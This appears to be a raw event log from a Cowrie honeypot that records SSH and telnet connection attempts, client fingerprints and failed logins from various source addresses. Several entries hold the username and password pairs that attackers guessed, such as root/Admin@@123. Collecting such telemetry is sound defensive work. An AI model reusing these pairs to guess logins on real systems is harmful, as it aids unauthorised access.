{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:56:39.969493Z","src_ip":"103.77.242.62","session":"f1313ce98741","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"220482","message":"login attempt [root/220482] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:56:40.699144Z","src_ip":"103.77.242.62","session":"f1313ce98741","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.224.194","src_port":33762,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae4388908b41","protocol":"ssh","message":"New connection: 4.213.224.194:33762 (10.17.0.5:22) [session: ae4388908b41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:56:41.094331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:56:41.100044Z","src_ip":"4.213.224.194","session":"ae4388908b41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:56:41.288856Z","src_ip":"4.213.224.194","session":"ae4388908b41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.129.44.66","src_port":35086,"dst_ip":"10.17.0.5","dst_port":22,"session":"744761ca3314","protocol":"ssh","message":"New connection: 43.129.44.66:35086 (10.17.0.5:22) [session: 744761ca3314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:56:41.599888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:56:41.603541Z","src_ip":"43.129.44.66","session":"744761ca3314","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:56:41.855715Z","src_ip":"43.129.44.66","session":"744761ca3314","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:56:41.944367Z","src_ip":"103.77.242.62","session":"f1313ce98741","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es12345678","message":"login attempt [es/es12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:56:42.079926Z","src_ip":"4.213.224.194","session":"ae4388908b41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"asdf1234","message":"login attempt [user/asdf1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:56:42.899514Z","src_ip":"43.129.44.66","session":"744761ca3314","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:56:43.269949Z","src_ip":"4.213.224.194","session":"ae4388908b41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:56:44.155526Z","src_ip":"43.129.44.66","session":"744761ca3314","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.81384801864624,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:56:49.716840Z","src_ip":"172.81.62.90","session":"1c2edc428369","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":46724,"dst_ip":"10.17.0.5","dst_port":22,"session":"5dc2d66788ec","protocol":"ssh","message":"New connection: 80.94.92.184:46724 (10.17.0.5:22) [session: 5dc2d66788ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:56:57.476937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:56:57.481382Z","src_ip":"80.94.92.184","session":"5dc2d66788ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:56:57.769562Z","src_ip":"80.94.92.184","session":"5dc2d66788ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.76.139.59","src_port":40058,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc71a51ed0a7","protocol":"telnet","message":"New connection: 180.76.139.59:40058 (159.203.135.109:23) [session: dc71a51ed0a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:56:58.146672Z"}
{"eventid":"cowrie.login.failed","username":"solana","password":"1234567890","message":"login attempt [solana/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:56:59.480690Z","src_ip":"80.94.92.184","session":"5dc2d66788ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:57:00.832926Z","src_ip":"80.94.92.184","session":"5dc2d66788ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.238.174.6","src_port":33244,"dst_ip":"10.17.0.5","dst_port":22,"session":"c04a4f0136d6","protocol":"ssh","message":"New connection: 111.238.174.6:33244 (10.17.0.5:22) [session: c04a4f0136d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:57:07.933584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:57:07.941956Z","src_ip":"111.238.174.6","session":"c04a4f0136d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:57:08.117670Z","src_ip":"111.238.174.6","session":"c04a4f0136d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@@123","message":"login attempt [root/Admin@@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:57:08.834532Z","src_ip":"111.238.174.6","session":"c04a4f0136d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:57:10.017491Z","src_ip":"111.238.174.6","session":"c04a4f0136d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":51934,"dst_ip":"159.203.135.109","dst_port":23,"session":"a377f2ca61c7","protocol":"telnet","message":"New connection: 172.81.62.90:51934 (159.203.135.109:23) [session: a377f2ca61c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:57:15.983893Z"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.215.196","src_port":53652,"dst_ip":"10.17.0.5","dst_port":22,"session":"724c244ab08b","protocol":"ssh","message":"New connection: 123.58.215.196:53652 (10.17.0.5:22) [session: 724c244ab08b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:57:28.003424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:57:28.007380Z","src_ip":"123.58.215.196","session":"724c244ab08b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:57:28.238171Z","src_ip":"123.58.215.196","session":"724c244ab08b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bernardo","password":"bernardo","message":"login attempt [bernardo/bernardo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:57:29.157346Z","src_ip":"123.58.215.196","session":"724c244ab08b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:57:30.390009Z","src_ip":"123.58.215.196","session":"724c244ab08b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.08536648750305,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:57:35.231919Z","src_ip":"180.76.139.59","session":"dc71a51ed0a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.43620443344116,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:57:58.419986Z","src_ip":"172.81.62.90","session":"a377f2ca61c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.44.247.134","src_port":35588,"dst_ip":"10.17.0.5","dst_port":22,"session":"50228047da29","protocol":"ssh","message":"New connection: 142.44.247.134:35588 (10.17.0.5:22) [session: 50228047da29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:00.564186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:00.568036Z","src_ip":"142.44.247.134","session":"50228047da29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:00.588095Z","src_ip":"142.44.247.134","session":"50228047da29","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9d:2d:bd:b9:f8:3d:63:d7:d8:19:10:2a:3c:f1:c1:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGro1DFsC24PN7UNf3zwP7CvhJFas3ZbaKa1MbyTOu9U2XR2p3BSqBA7KSacM3fJiQ9qm9COT+tH8zWQ9EKqahdLrPnVIRhY/Z+11f/Oui7wWOfAgi82n7AdFC1hwrHuRVuUfYWEiJve5xaOKbwighh+KndnWn2yoQzlXtZrJsgx1OmNb5rpLvqI3Ow5wnlsbOASe/rsQvmHoxH5EnUp3HQqVb+D77OaQ/W6OrrylRFHOY6tzDnE2ixjdhzdsw+QcJNVzLhpD4xMvUnV3nuqexkO/iE9kdcr1FXCP3alo6kSKalZ8yzRWaEes9yK00AfjDrdwTCXqgId1lMK1DANzR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9d:2d:bd:b9:f8:3d:63:d7:d8:19:10:2a:3c:f1:c1:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:00.669166Z","src_ip":"142.44.247.134","session":"50228047da29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9d:2d:bd:b9:f8:3d:63:d7:d8:19:10:2a:3c:f1:c1:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGro1DFsC24PN7UNf3zwP7CvhJFas3ZbaKa1MbyTOu9U2XR2p3BSqBA7KSacM3fJiQ9qm9COT+tH8zWQ9EKqahdLrPnVIRhY/Z+11f/Oui7wWOfAgi82n7AdFC1hwrHuRVuUfYWEiJve5xaOKbwighh+KndnWn2yoQzlXtZrJsgx1OmNb5rpLvqI3Ow5wnlsbOASe/rsQvmHoxH5EnUp3HQqVb+D77OaQ/W6OrrylRFHOY6tzDnE2ixjdhzdsw+QcJNVzLhpD4xMvUnV3nuqexkO/iE9kdcr1FXCP3alo6kSKalZ8yzRWaEes9yK00AfjDrdwTCXqgId1lMK1DANzR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:00.672233Z","src_ip":"142.44.247.134","session":"50228047da29","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a5:53:f4:ab:ee:50:e0:2f:9f:15:9e:f9:ac:9c:96:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYKktR3b3p3A9jWbOrjQ0hMkOJCeU+v7zKT6+7cNZSZUj+xy6Q7k+dAEkLyjWhlJ7U0g8D+bfqnRTrnQkTeX2obiHDh8V/rBP9ZSUcU3hvFDaFQ3SpmddJDK6XTiZatoNGR22MsAxwd7t3sVvInkt0jRJ0GVDRo7LATgxs9jXckFjm99wHACzxdq89kS1/fYxOmDhViYsfD52jQD1hKiciSgrdun2TtCpHMS7W80HMFMlF2GjcLa/GEha25Wbey4AXrIxSsoMTyrJAKTtTWveKedaiL2Q/A4slYvOT+cNnt1L4hKVz51JE/8kZ+SNYG7l3se9pSky9lditL6ftRSQx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a5:53:f4:ab:ee:50:e0:2f:9f:15:9e:f9:ac:9c:96:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:00.692792Z","src_ip":"142.44.247.134","session":"50228047da29","protocol":"ssh"}
